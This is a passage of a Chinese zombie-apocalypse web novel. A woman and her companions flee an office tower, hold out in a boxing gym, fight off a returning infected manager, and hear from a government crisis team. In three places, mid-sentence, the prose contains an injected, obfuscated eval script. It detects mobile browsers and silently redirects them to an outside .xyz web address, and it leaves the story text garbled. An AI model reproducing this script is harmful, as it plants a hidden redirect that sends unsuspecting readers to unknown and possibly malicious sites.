“苏小圆，我劝你最好别动，不然等下我们过去了，会绞断你的绳子。”申应晖看出了什么，厉声威胁道。 岳晴看到李霖已经爬了一半了，她心里明白并不需要用太多的力量去掀翻梯子，她只要剧烈晃动梯子就行了，爬在上面的人，会因为惶恐跌下去的。 而后面的两个人因为惧怕，多半不敢再上去。就算他们敢，她也可以再来一次…… 双手随着意念已经搭在了梯子上，岳晴主观发布了动作命令，可是她发现她的手，只是牢牢攥着梯子 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申应晖嘴角勾起一个凉薄的弧度，接下来轻轻拍了拍梯子的一侧，以根本不大可能撼动梯子平衡性的力度，创造了难以想象的后续效果…… 以为自己要完了！吴芯整个人朝一侧歪去，很快，伴随着一声凄厉的惨叫，她从梯子中央跌了下去…… “你们看着我做什么，我可什么都没有做。”申应晖靠在天台的边沿上，眼中几分若有如无的阴鸷，面上淡淡的，和刚才他的紧张焦虑又是不同了，“是她自己掉下去了。” 岳晴舔了舔嘴唇，没兴趣和他在与自己无关的问题上进行讨论，“我有办法逃去安全的楼层，我可以让你们先下去。” 主动示好，是为了不发生冲突。 刚才的经历告诉岳晴，她手里是有刀，可面对意识不清醒的感染者，都砍的乱七八糟。更何况一个意识清醒，性格狡猾，身材高大精瘦的成年男子。 “你让我怎么相信你呢？小姑娘，你刚才可是自己偷跑了。” 岳晴从他面上读出了疯癫。事已至此，他不再克制和隐瞒了。 一个在岁月静好时期，拼命往上爬的人，在末日来临时，势必也会不惜一切代价活下去。 “我和朋友说好了，在A栋下面的三楼窗户接应我。缓降器我只有一个，我可以让给你们先下。我为了自己能够下去，肯定不会在你们下降时，破坏缓降器的。”岳晴努力让自己显得真诚，“我们都明白，现在出去很危险。我不知道你们刚才下面发生了什么，就算办公室是安全的，那里的食物也不够。我朋友那里食物很多。” 申应晖死死盯着岳晴，似乎在思索她说的话是否信得过，短暂顿了片刻，指着李霖说，“让她先下去，然后你让你的朋友发视频过来。如果她平安，我就相信你，否则……” “我知道，我若是骗你，申总你会把我也扔下去。”岳晴抢白道，努力忍着不对申应晖翻白眼。 “我不先下去，我不……”李霖吓坏了，脸色惨白，连连后退。 “现在没你说话的份。”申应晖冷嗤，“不想活着，你就自己跳下去。” 李霖抱着头原地蹲下，喉咙里恐惧地发出“呜呜咕咕”的声音，可气又可怜…… 岳晴无奈又好笑，尚义传媒“第一嘴炮”李霖，她霖姐，现在都已经没有说话的份了。 “申总，申总……”这时有人冲上了B栋天台，不可思议看着A栋上的三人，缓了好半天才说：“公司好多人都被刚才那个人咬了，怎么办啊……” “是吗？”申应晖冷笑了声。 岳晴刚给卢宵简单发完信息，简单说明了上面的情况。抬眼就看见申应晖走过去，看起来像要和那人近些说话，谁知只是把梯子掀翻，“不怎么办。你们自己没点脑子吗？都这个时候了还问我怎么办？” “可是你刚刚还说，我们大家要一起活下去啊。” 11. 打工人迎战丧尸末日11 今天一天都是雾霾天气，这会儿到了两点多，天气阴沉的像是下午五点钟。 一点湿润落在岳晴鼻尖上，她低头一看，地上的水渍越来越密集。 下雨了。 末日已至，再淋雨生病会很麻烦。 她心里盘算着，必须得加快动作了。 先前上来的同事，见得不到申应晖的支援，似乎很绝望，整个人都跪趴在了地上…… 岳晴以为他是因为失望和害怕，但给李霖穿好腋下安全带后，她又抽空看了一眼，发现那个同事正在抽搐…… 眉心不由皱紧，岳晴朝离自己较远的申应晖看过去，他上半身都是干涸的血渍，从现在的角度，根本不好判断此人是否受过伤。 “你放心吧，我没被咬。刚才走廊里我们遇到的人，押回去后突然发作，我跑出来了。” “我也是，我也是！我当时跟在申总后面出来的。”李霖慌张解释，很怕自己被他们抛下。 这么长时间了，如果冲上来找申应晖的男同事已经发作了，那申应晖和李霖如果中招，应该也逃不过。现在他们意识还保持清醒，应该问题不大。 岳晴暂时放下担忧，跟李霖说了些下降时的注意事项，李霖表示明白。 当她到了跟前，却恐惧地哭了，人不想下去，是申应晖把她强制手动放下去的…… 三人离开天台到达三楼，花费了一个多小时时间。 岳晴最后一个下来，到达三楼窗边时，被卢宵从灰濛濛的雨雾里抱到暖黄色灯光的拳馆里。 她全身已经湿透了，进入室内后，双腿发软轻微颤抖……卢宵看出不对劲儿，眼疾手快搀扶住了她。 身体虚弱不是因为她畏高，是高空缓降这个环节，比预想的还要难以达成，不确定的因素太多了，着实消耗她的精力。 还好付出并非全无回报。这时半空中弹出只有她一人看得到的任务进度条上升信息。 岳晴此时眼睛发花，看那些白色字都带着重影儿，还好提示音在耳边同时响起： [恭喜萃取者岳晴，精神力萃取进度已达43%。请再接再厉！] 丧尸来了都没哭。听完这个达成率，她真的快哭了。 脑力和体能告罄，才好不容易斗智斗勇从23楼来到3楼，就给涨了5%啊！ 苏小圆，这还不够你有成就感吗？为什么这么难被满足呢……呜呜…… “嫂子好！” “？”岳晴被这一声从沮丧中拉回当下。 “别瞎叫！都什么时候了，还开玩笑。”卢宵有点尴尬又有点窘迫，但他脸上更多的是还没完全散去的担忧。 说话的是卢宵身边站着的一个年轻男人，岳晴对他印象还挺深的。当初，她从他手里接了那张传单，才有了认识卢宵的可能。 “你好，我记得你叫王楚城吧？”岳晴加过他微信，微信ID是他本名。 “是的，嫂子。幸亏你刚刚反应快，让宵哥锁门了。不然我们……”王楚城做了个抹脖子的动作。 岳晴对他笑了下，余光瞥到躲在角落里的李霖，稍稍一转头，发现正坐在洽谈区的申应晖。 在心里默默叹了口气，亏她千算万算，没想到把他们带出来了。这两个人，没一个是省心的，接下来还是得小心提防着。 “对了，你不是说还有一名教练在吗？怎么没见到你那个同事？”岳晴问卢宵。 “他……” “吴哥，刚刚跑出去了。他说害怕被困太久没吃的，说要去旁边面包房看看。”已经走远了的王楚城听到她问，一脸男大学生的天真无邪，“王哥拿过全国拳击比赛亚军，应该没问题的。” “这是个意外。我刚才在接你同事，没时间留意他。”卢宵压低了声音说，“我担心立刻告诉他们食物充足，会有什么变数。所以还没来得及说，吴羽他……动作太快了。” 如此看来，她订购的食物和水到货拳房那天，吴羽和王楚城应该休息，或者在忙没注意这些。 岳晴眼睛朝大门那里看了一眼，猜想这位吴教练多半是回不来了。 卢宵指着岳晴的湿衣服说：“穿着湿衣服会感冒，你去我房间换一身我的衣服？” 岳晴点了点头。 卢宵的房间也就七平米左右，陈设十分简单。一张沙发床，一个衣架，还有两只行李箱靠墙立着。剩下的空间都被岳晴买的食物和水占满了。 他找出来一条牛仔裤、一件运动外套、一件长袖白T给岳晴。岳晴只要了外套和T恤，“裤子就不用了。我穿的是速干运动裤，很快就干了。” “好，那你换上吧。我去给你冲杯姜茶。” “谢谢你，卢宵。” “是我要谢谢你。你的家族预言，救了我们一命。”他用开玩笑的语气说道。他知道这只是个借口，但岳晴究竟如何知道的已经不重要了。卢宵认为自己没必要多问。 卢宵的T恤和外套号码太大，岳晴穿着像是裙子，不过有衣服换总比没有的强。她已经很知足了。 换好出来，卢宵就把姜茶端过来了。 岳晴看到躲在角落的李霖，还有不远处坐着的申应晖也各有一杯。 她双手握着一次性纸杯，感到杯子传来含蓄的热度，一颗飘来荡去的心，逐渐安定下来。 喝了多半杯姜茶，休息了片刻，岳晴把屋里的人都召集到了申应晖所在的洽谈区，郑重道： “现在外面的危险程度，使我们难以想象的。我刚和卢宵点过了，他屋里存放的食物够我们几个人撑至少一周时间。这里有吃的，有卫生间，接下来希望谁也不要再出门。记住无论如何，都不要打开门。否则后果，只能你们自己承担。” 李霖：“我是不会出去的，谁爱出去谁出去……呜……呜呜……”发表完看法，她又哭了起来。 岳晴晓得她这哭是半真半假，害怕是真的，更多的可能是博同情的成分。 现在拳馆里有三个成年男人，两个人站在岳晴（苏小圆）这边，话语权已经不在申应晖那里了。 李霖和苏小圆两人向来不对付，她担心自己会被她扔出去。 申应晖则保持沉默，对此并无意见。现在的处境，对他来说已经是最好了的。 王楚城：“那吴哥怎么办啊？” 卢宵拍了下他的肩膀，“等他回来，我们见机行事。”如果他真的还回的来的话…… 经历了近一天的折腾，岳晴着实累了。 她不想离申应晖或者李霖太近，就坐在了拳台边上，双腿从拳台耷下来，悬在半空中轻轻摇晃。卢宵坐在她旁边。两人暂时没有要交谈的意思。 该说不说，岳晴还挺享受这感觉的。 卢宵话少不烦人，关键时刻又顶用，他坐在身旁，给了她不少安全感。 岳晴给欧月发了条信息报平安，同时确认她的情况。 欧月很快就回复了：[我很好，你放心。小区这边院子里时不时有人鬼吼鬼叫的，但现在咱们单元里没什么异常。] 不出岳晴所料，市郊的小区比人口密集的繁华地带要安全得多。尤其白天很多人出门上班了，小区的人就更少了。即使已经有了感染者，只要呆在家里，就不会出问题。 岳晴思索着要给欧月再回点什么，这时见欧月发来一条，[爱心.jpeg，我会一直等你回来。] 岳晴用手指摩挲屏幕上那颗粉色的爱心，感到心里暖暖的，回了个“抱抱”的表情。 这就是朋友的意义了。至少在苏小圆的人生里，也不全是冰冷的算计和冷漠的对待。她还拥有欧月这个朋友，一直在支持着她。 “你是在给你爸妈发信息？”卢宵看见她一会儿皱起眉头，一会儿眼角带笑的，好奇地问道。 “不是，是我合租的好朋友。”岳晴转过来望着卢宵，现在屋子里昏暗，他的眼睛却亮亮的，双瞳中像藏着两泓黯蓝色的清泉。 “我从小跟孤儿差不多。我父母在我很小时候离婚了，后来又都再婚了。谁都不想养着我，我有时候在姑姑家，有时被送到舅舅家。后来是我姥姥一直养我到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794025|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高中出去上大学。前年，姥姥已经去世了。” 卢宵：“对不起，我不该问的。让你想起这些不好的事。” “没什么，你呢？”岳晴问他，“担不担心家里人？” “不知道。”他摇了摇头，“我爸妈在国外生活。我今天试图联系他们，但没有回复。不过我平时也联系不上他们。有时候他们一周后才回复我的消息。” 看来也是个爹不疼，娘不爱的小倒霉蛋儿。卢宵和苏小圆倒有点同病相怜。 岳晴轻拍他的背，刚想开口安慰，突然听见大门那里传来“咚、咚”的剧烈撞门声—— “开门，开门……快……！” “是吴哥，吴哥回来了！”王楚城看向快步走过来的岳晴和卢宵，五官挤成一团，简直快哭了，“我们给他开门吗？” 拳馆的大门有两道门。一道门是里边的玻璃推拉门，一道是外边的卷闸门。卷闸门可以内外双向落锁和开启。拳馆老板是有钥匙，但教练吴羽没有钥匙，门从里锁上后，他不能从外边打开门。 “绝对不能开门！你们听不到吗？”申应晖指着外边说道：“这外头这么吵！不知道他带了多少只丧尸回来！他肯定已经被感染了，我们放他进来，就是自寻死路！” 岳晴同意他的观点，她也没打算开门。她是在担心另一件事…… “呜呜噜噜——”的低吼声、呜咽声，正密集从外间传来，里间听到的人没有不头皮发麻的。 合金卷闸门被外力剧烈撞击着，看那冲击力量肯定不止是两三个人，少说也有七八人甚至更多！ 沿着扶梯就可以抵达三楼，这一层的感染者比22层，肯定多得多！ 如果保持安静状态，闭合大门，他们可以一直藏在这里。 可如果有人在外边制造噪音，会逐渐把这一层的感染者都引过来！到时候再牢固的大门也会撑不住…… “不要开门，不要开门！求求你们啊！”李霖冲过来，跪在地上，抱住岳晴的腿，“我害怕，他们是不是要冲进来了啊？我还不想死，我家孩子还小……” “吵死了！你还嫌引来的那东西不够多吗？”申应晖骂道：“你再吵，把你丢出去！”说完他眼睛骤然一亮，似乎是从自己下意识的话里得了什么启发……“那扇门能打开吗？通向哪里？”申应晖指着拳馆另一头锁着的小门说。 “可以打开，那扇门离三层的中心扶梯更近。”王楚城吸溜着鼻子，一脸懵B，不知道这个时候为什么他会问这个事儿。 岳晴几乎一瞬间猜到了申应晖的想法，看了眼仍然抱着自己腿的李霖，转向满脸算计的申应晖，“申总，你该不会是想把她从那里扔出去吧？” 刚才敲门的吴羽，已经没了动静，不难推测，他应该已经丧失了自主意识，与外边的感染者融为一体了。 现在把大吵大叫失去理智的李霖扔出去，她应该一出去，就会因为害怕大叫着撒丫子跑起来，到时候丧尸群就会被她吸引注意力去到别处，他们也就安全了。 李霖和申应晖没仇没怨。那次群里短暂有分歧，第二天也就化解了。申提出这个方法，或许有用，但以牺牲同伴为代价，未免残忍。 李霖脑子已经完全乱套了，听到要把自己扔出去吓坏了，改去抱申应晖的大腿。 申应晖烦躁地踢开她，本来好不容易安全下来，现在因为这些拖后腿的玩意儿，再次陷入险境……他暴躁得很。 “你最好给我安静点，不然我不介意，按他说的做。”岳晴厉色盯着李霖警告，“现在就算把她扔出去，也不可控她怎么跑！万一她抱着和我们同归于尽的心思，我们就完了。我不认为这是个好办法。如果只是想以声音分散感染者注意力，我们从后门扔出去个手机就可以了。” 王楚城：“现在手机是唯一联系外界的工具。谁愿意把自己的手机丢出去呢？” “喏——那不是有一个吗？”岳晴下巴点了点门口旁的椅子上放着的手机，“如果我没猜错的话，这应该是刚刚出去那位吴羽教练留下来的吧？” 12. 打工人迎战丧尸末日12 “这个办法好。”卢卡斯说，“但后门很久没开过了，不知道门锁好不好使了。如果打不开，或者打开了锁不上也是个麻烦。” “总得试一试。”岳晴看了看李霖和申应晖，有这两个不安分子在，再不解决能解决的，估计不用等到丧尸撞破门，他们内部马上要出岔子。 卢宵走过去把吴羽的手机握在手里，“小圆，你过来，我想单独和你说几句话。” “宵哥，都什么时候了？你们小情侣能不能不要腻歪了。”王楚城道。 “臭小子，刚才就让你别乱叫了。”卢宵没用多少力气踹了他一脚，“一分钟的事。” 申应晖警觉地注意着他们的一举一动。可即便他现在有什么异议，在这里也无法左右卢宵和“苏小圆”的任何做法。 岳晴跟着卢宵走到角落里，不知道他要说什么。 两人本来一前一后站着，卢宵扶着她的肩膀转了半圈，让岳晴站在了靠外的位置，用她的身子挡住了自己的。不过因为身高问题，他的肩膀和头自然还是露在外边。 离得太近了，岳晴需要抬点下巴才能看到卢宵的眼睛，“到底什么事？” 卢宵比了个噤声的动作，然后食指从唇边滑下来，停在上腹位置，垂直向房顶指了指。 岳晴随他的所指，目光飘上去，但头没动。 拳馆装修比较简洁，天花是没有封顶的，那里横亘盘错着很多管道，统一漆成了黑色。 卢宵用仅两人能听到的声音对她说：“一会儿我们要开门，你那两个同事看起来不像什么好人。你那个女同事表面屈服，但好几次恶狠狠盯着你和你那个领导。我有点担心他们有问题。如果一会儿出了什么意外，我会顺着旁边的架子爬上去，你一定跟上我，我会及时拉你上去。” “嗯，我会的，你放心。”岳晴点点头，再次感叹卢宵思虑周全。小心点总没错。 “我有点担心，想抱抱你，就一下，抱歉……” “……” 岳晴还没来得及表态，就被他收到了怀里。 她有点懵，但没抗拒，还拍了拍他的后背表示安慰。 两人走回去后，申应晖轻“哼”了声。 王楚城则有点不耐烦地抱怨，“开个门扔手机，你们小情侣搞得跟生离死别似的。” 卢宵瞪了他一眼，王楚城立刻闭上了嘴。 几人都走到了后门处，手机握在岳晴手里，已经把声量调到了最大。 等下卢宵负责开门，她会把手机尽量顺着地面滑抛出去，然后王楚城负责拨打吴羽的电话。 申应晖和李霖不被信任，没有被分配任何任务。不过，似乎是担心他们搞什么幺蛾子，这两人也跟着他们凑到了门这边来。 “我数一二三就开门。”卢宵说，“等下会我先开一条缝，如果外边有情况，小圆你立刻推门关上，我顺着你使劲儿。如果门口安全，我也只打开三分之一，足够你把手机抛出去。” 岳晴点了点头，“明白。” “三……二……一……” 卢宵转动门把手，缓慢向内打开了门，屋里众人在他开门时，都紧张地屏住了呼吸。 这个瞬间，岳晴耳朵里听得到自己心跳的“咚咚”声，她做了最坏的打算，如果不巧门口趴着一只丧尸，她会立刻伸手关门。 当开了一条缝隙后，借着走廊里的灯光，她看到门前的较近处什么都没有。靠近扶梯那边的较远处，有两名略显迟钝正在走动的感染者。 “还好吗？”卢宵动了动嘴唇，音量微乎其微。 “嗯。继续再开——” 卢宵又把门打开了些，岳晴将手机顺着光滑的瓷砖滑推了出去…… 没办法，太用力她怕摔坏手机，太小力她又担心推得不够远…… 幸好她的手在这个时候足够稳，手机被扔到了超过旁边面包房的位置，几乎接近拳馆所在的这条小走廊的尽头了…… 岳晴缓缓呼出气，正欲示意卢宵开门，谁知道她的肩膀被人向旁边狠狠推了出去。 这一下力气不大，可太意外了，卢宵接住了岳晴，两人重心同时向一侧偏去。 “你去死，你去死吧！敢让老娘献祭！你个王八蛋！啊啊啊！” 是李霖！ 她疯了似的大吼着试图将申应晖推出去，可是有了刚刚她推岳晴那一下，申应晖已经有了防备，很快就站稳了，反手将其迅速制住。 申应晖擒着李霖的脖子，将她的上半身压出了门外，盛怒之下他也想把她推出去。不过他正抓着她的这个姿势决定他也不好发力。更何况李霖也在拼命挣扎，不死不罢休的架势！ 不远处的丧尸被他们惊动，朝这里笨拙地走了过来，嘴里发出“呜呜咽咽”的呼气声…… 刚刚上头了的申应晖立刻放开了李霖，想要起来关门，然李霖跌倒卡在门口，他只能弯腰将人推出去，就又陷入了刚才的循环。 他们视线所及只是走廊口的一两个丧尸走过来，但在他们看不见的盲区，五六个留着涎水的丧尸，也在朝这里走过来…… 经历这一天的种种波折，李霖思维早已极度混乱。当下她腹背受敌，根本分不清哪里是安全的了，哪里是危险的了。 在申应晖放开她的那一刻，她朝着暂无阻隔的方向撒丫子跑去！ 李霖引开了从走廊口来的丧尸，申应晖也只短暂放松了一秒，刚要退步关门，就被从另一侧来的五六个丧尸攫住了半边身体。他疯狂扭动着上肢，做着徒劳的挣扎，可是已经没用了…… 李霖和申应晖两个人缠斗时，王楚城吓坏了，疯狂从旁边试图关门，可是还有两个人卡在那里，他也没有办法。 这是他们首次面对多个丧尸，没有经验，卢宵和岳晴两个没有恋战，迅速退到了靠墙放置的多层拉伸架子那里，卢宵顺着靠墙的架子把她拉到了房顶的管道上。 王楚城见他们走了，也不敢停留，有样学样，也爬到了管道之上。 申 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794026|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应晖被咬了之后，很快挣扎着发狂跑了出去。但是后门已经打开了，有三个丧尸顺着门进入了拳馆…… 千算万算，岳晴都没算到拳馆会失守……事已至此，怨天尤人没有任何意义，还是得想看看到底该怎么办。 她和卢宵、王楚城蹲坐在房顶上，几乎不敢发出什么动静，小心观察着那些进入拳馆的感染者。他们的感染程度已经很高，丧失了自主意识，脸上没有太多痛苦的表情，只是呆滞地在房间里转圈圈。 另外有一点很幸运的地方是，门一直半开着，却没有丧尸再进来。看来这些完全感染者应都是直线思维，除了被当时申应晖的声音吸引而来的丧尸，其他的不会主动转弯进入拳馆。 如果是这样的话，事情好像并非没有转机……他们的安全屋也还有救！ “我们其实可以……”卢宵指了指下面。 岳晴嗯了声，“我知道你想说什么，再等等，等他们转到门口……” 又等了十来分钟，丧尸终于转到了靠近门口的位置，卢宵扯了扯旁边王楚城的袖子，对他比着打电话的姿势，见他没反应，人跟傻了似的，只得出声提醒，“王楚城，打电话……” “喔喔……”王楚城刚刚吓坏了，出了满头大汗都没顾上擦，他有点慌乱地掏出口袋里的手机，拨打吴羽的电话。 功不唐捐。刚刚他们把手机已经抛出去了，只要屋里的丧尸被吸引过去，卢宵就跳下去立刻关门，他们也就安全了。 吴羽前不久恋爱了，因为听不见女友来电，两人老是吵架，他又买了一台声音超大的老人机，也就是刚刚被扔出去的那一个。 可即便如此，因为手机被抛出去的着实有点远了，传到拳馆的声音也已经不大了。 还在反复拨打电话的王楚城不由咬着嘴唇，拳头在管道上轻轻砸了一下。 “没事。”卢宵看了一眼岳晴一直背在身后的刀，“三个而已，这招要是不灵，我就下去。” “别着急，你们看——”岳晴示意他们看下面的状况。 丧尸对声音的敏感度显然超出他们的想象。虽然迟钝，但他们的确被吸引了注意力，一个挨一个，歪歪扭扭走出了拳馆。 “yes!” 卢宵和王楚城一前一后跳了下去。 卢宵走过去关门，害怕动作太大把丧尸引回来，他十分小心，速度不算快也不算慢。 然而，在他距离门口还有三步时，那扇小门被从外推开了—— 一个没了一只胳膊和半边肩膀浑身血淋淋的人走了进来……他的手上正拿着刚刚那部被扔出去的手机。 进来的那人眼睛睁得极大，眼睫僵化一眨不眨，缓缓地，他对着卢宵咧出一个瘆人的笑，“我活不了了，你们也别想活了……” 他全身上下几乎被血洇透了，头皮不知是被啃掉还是抓掉了一部分，但岳晴仍然能认出这个人来…… 是申应晖！他居然还没完全丧失意识！C他祖宗的，他回来了！ 13. 打工人迎战丧尸末日13 初期感染原因尚且不明，但经过观察，刚刚感染的人，身体在一个时间段内发生改变，其行动和攻击能力都会受到影响。并非像电影里一样被抓咬后，在十几秒内就丧失了意识，立刻获得大于感染前好几倍的力量。 几小时前，他们在22楼遇到的那个男人就是最好的证明。从岳晴上午看到他离开，再到中午以后再次遇到，他还保留了少量的意识，而这中间起码过了好几个小时。由此可见，至少在现阶段，感染者的感染速度并不快。 申应晖受了伤回来，力量却没有增加，在此前提下，一个拳击教练的体能和反应能力，哪里是他这个久处办公室的中层管理者比得了的？ 短暂怔了一瞬，卢宵就快速做出了反应。 你要进来是吧？好，那就让你死个明白。 在申应晖说那句没用的话时，卢宵快速转到了他身后，他是下来关门的，等这事做完了，接下才是“关门打狗”！ “卢宵，接着——” 岳晴抛刀，卢宵关门后再俯身接刀，申应晖意识到他位置的变化，调过身子呲着大牙向他扑来。卢宵见状一点不慌，机警地退了两步，给自己留足了挥刀空间，以恰到好处的力量与准头，把申应晖另一个膀子也削了下来…… 申应晖痛到崩溃，两边膀子残缺，重心不稳摔倒地上，凄厉惨叫……再没有一丝半毫往日波澜不惊的做派。 卢宵用脚踩到他的背上，申应晖拼命挣扎，可胜负已定，无论做什么都是徒劳。 卢宵再次举起刀，把他的头斩了下来——黑血顷刻漫了一地，像平地绽开一朵诡异的花朵。 这场面恶心大于恐怖，如果有晕血症的人在现场，大概是要叫救护车的程度。 “真狠啊，真狠……”王楚城从房顶管子上下来，一时惊吓到只会重复这句话了。 卢宵帮助岳晴也下来，岳晴看看地上的惨状，捂着嘴呕了两下，有点眼冒金星，“那个，要不我们把他从窗户扔出去吧。不会造成什么污染吧？” “小圆姐，你可真逗！这都什么时候了，还污染，你可真会开玩笑，呵呵哈哈……”王楚城虚弱地笑起来。 岳晴只是随口一说，她也没什么开玩笑的心情，她有点同情和无奈地看了王楚城一眼，觉得这孩子已经吓了个半傻。 事情平息，他们再次谨慎检查了后门，确认关严与否。 卢宵和王楚城清理了现场，开门是不可能开门的，卢宵趁着楼下感染者略微散开之际，用废旧毛巾垫着把尸体扔了出去。岳晴则找来墩布拖了地，清除完血迹，她把墩布也扔了出去。 处理完残局，他们终于有时间坐下来歇一口气。 这一天下来，光顾这逃命了，还不知道外边的世界怎么样了？ 岳晴打开网络查看，看了一会儿，蹙眉对身边的卢宵说：“北市已经彻底沦陷了，周边城市也正在蔓延。官方已经封锁了华北诸省，全国其他省份相继封闭了高铁站、飞机场、公交站……” “别太担心。北市是全国中心，他们短期内不会放弃这里的。” “短期内确实不会，可要是救不过来……长期就不好说。现在因为感染者的潜伏期较长，还能有个缓冲，但是范围太大了，就算最快的决策，最精准的手段，也难以做到在爆发阶段就扑灭这场灾难。这还没去考虑在处理危机时的道德问题。”岳晴客观地下了结论，“我是没有那么乐观的，不过我会把握所有机会活下去。” 只要活着就有希望。 卢宵赞同岳晴带着客观色彩的悲观，“我刚才看下面的感染者还是比较密集的，估摸着如果现在出去，那我们还没摸到停车场就会被围攻。接下来不论救援人员能不能来，情况都不会比现在更差了。目前很多感染者或多或少保留着意识，我们不妨等一等，等他们失去清醒的意识，或者其他变量发生。别担心，机会总会有的。” “嗯。”岳晴看了眼焦躁在场馆内转圈的王楚城，扶额道：“这小子转的我头晕。我们要不先吃饭吧。” 卢宵：“我去做饭。你想吃什么？” …… 现在仍然有电，他们吃的选择还是挺多的。卢宵用电热锅煮了方便面，还给每人分配了一颗卤蛋。 他和王楚城在这边工作，都用自己饭盒吃的。 岳晴用的是一个不知道卢宵从哪里找出的大号搪瓷水杯，推测应该是某位教练或学员留下的。 热乎乎的食物下肚后，三人的情绪得到极大的安抚，焦躁的不安感逐渐平复。 这一天来消耗巨大，肾上腺素和皮质醇估计交替分泌，吞咽食物不仅能补充身体的缺失，还能通过味蕾带给人满足感。 岳晴发誓，虽然简陋，但真的是自己来到这个世界以来，吃过的最好吃的一餐！ “恭喜萃取者岳晴，精神力萃取进度已达48%，请再接再厉！” 抱着剩下的一碗热面汤，岳晴看着半空中弹出的进度条上升提示，简直不敢相信，这可真是意外之喜！ 这是一天顺利结束，尽管没有预期得顺利，可是依然能够把炸起来的毛暂时先都压下来，努力填饱肚子，让苏小圆产生的成就感？ 岳晴短暂疑惑后，倒也理解了。 的确，也许在被困的当下吃完一餐饭，只是一件小到不能再小的事了。 可却也明明白白昭示着：真好，我又努力活过了一天，我又吃饱了一顿饭！这确实比什么都强啊。 饭后，天色已经暗下来了。 三人不想吸引还有意识的人过来，因此没有开灯。 王楚城紧张了一天，吃饱了直接趴在洽谈区的桌子上睡着了。 岳晴则坐回了拳台那个老位置，和欧月简短问候了几句，确定彼此都安全，她才重新打开社交媒体。 苏小圆平时经常刷的有四、五个app。很明显地，岳晴确认其中有三四个已经乱套了，冒出来好多平时禁止发布的内容，疑似这些app背后的大厂不同程度沦陷，人工审核机制陷入瘫痪。 网上各种关于丧尸的信息杂七杂八，真的、假的无从判断，人心惶惶，说什么的都有。 比较离谱的是各路“大仙”博主，纷纷在家中做法，发布玄学帖子，预测未来事态的走向，相信者众。 此外，比较实用的是各类末日生存帖子层出不穷。 岳晴担心欧月，真心希望他们后边不要教一些打劫物资的内容…… 但是有一个媒体，还保持了向来的风格，打开后竟然弹出来一个大大的红字广告。本来岳晴已经错过了，可是刷了几屏信息，那个弹窗又冒出来了。 平时这种开屏商业广告都做得很精致，这次的却很简陋，一看就是赶工出来的。 她点过去细看，竟是一个政、府机构发出的通知，号召大家把观察到的丧尸情况和所在位置的周边情况，统一汇报给相关部门。为了方便大家提交，官方已经建立了十多个信息提交微单页，任意选择一个填报即可…… 这还挺让岳晴惊讶的，这个时代落后于她所处的世界，但目前却是把能用上的渠道和方法都用上了。效率比她想象得要快得多。她不敢想这背后付出了怎样的代价…… 她选了任意一个网址打开过去填写信息。 精卫填海力量微末，但总比什么都不做的好。 岳晴提交了自己的位置信息，还拍摄了楼下的照片，并且她非常清晰地描述了自己这小一天来对感染者的观察。 当然，她重点表达了自己和朋友被困，希望营救部队能够尽快赶来救助！ 提交之后，她想了想，换了个地址，同样内容又提交了一遍。总归是聊胜于无，希望相关部门可以尽快看到自己提交的。 卢宵不知道什么时候走过来了，手里提着一把自己的刀，应该是从房间里拿出来的，“忙完了吗？要不要来练刀？” 真是自律的男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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披着衣服出门，见卢宵正站在窗边。 王楚城则蜷缩在软垫子睡得香甜，还一声声打着呼噜。 “出什么事了吗？”岳晴走近窗子，看到马路对面的大楼，隐隐亮起火光。 她这个角度本就比较偏，加上被高耸茂密的树木遮挡，看得不怎么清楚，“是救援队来了吗？” “不好说。我看网上说，公共能源供给站点及其附近地区，率先得到了清扫，确保我们现在还有电可用。其次就是因为事故爆发，个别商业楼和居民楼发生严重火灾的，也有救援人员赶去。不过后面这个消息并不确定。” “看来是先紧着重要的和着急的救。”岳晴得出结论。 “确实，救助资源有限，现在比起救援‘围城’里的我们，官方应该会把资源投入在防止蔓延上。” “如果能够截止蔓延，我不介意多等等。怕就怕控制不住，到时候可能就是撒手不管了，所有剩余力量都投入到建立安全区、安全山谷或者安全岛了。我们得先保证自己活着，才能等到那一天。” 卢宵点点头，嘴角勾起好看的弧度，“那你的刀，真的不能荒废了。” 岳晴哭笑不得，心道这个人真是时刻不忘督促她。 不过有卢宵在，她有一种不是一个人在孤军奋战的安全感。 “行嘞，卢教练，等学成出山，我转去做个女保镖，也算是在丧尸世界就业不愁了。” 两人说到最后都笑了。 五月十七日周五天气阴 岳晴早晨睡醒，就看到手机有十来个未接来电。 来电显示是陌生号码，她回拨有提示音说这是个虚拟号码，她这边不能主动联系到给她打电话的人。 她想不通是谁给自己打电话用虚拟号码？ 难道是那一两个最后延误没收到的快递？ 不能够吧，世界都乱成这样了……肯定不会送快递啊。 正琢磨着，陌生号码又打来了。 “喂？请问您是苏小圆吗？”电话那边传来一个悦耳的女声。 “我是，您是哪里？” 岳晴有一种奇妙的感觉，就像是你本来正在海底或者深渊进行一场徒步冒险，与现实世界脱离了关联，但偏偏这个时候，一个电话又把你拽回来了。 14. 打工人迎战丧尸末日14 “你好，我是政、府危机处理小组的工作人员，您昨天给官方提交过林榆商务园丧尸爆发情况表单。鉴于您是您所在区域将情况表达的最清晰的，我们想和您持续保持联系。” 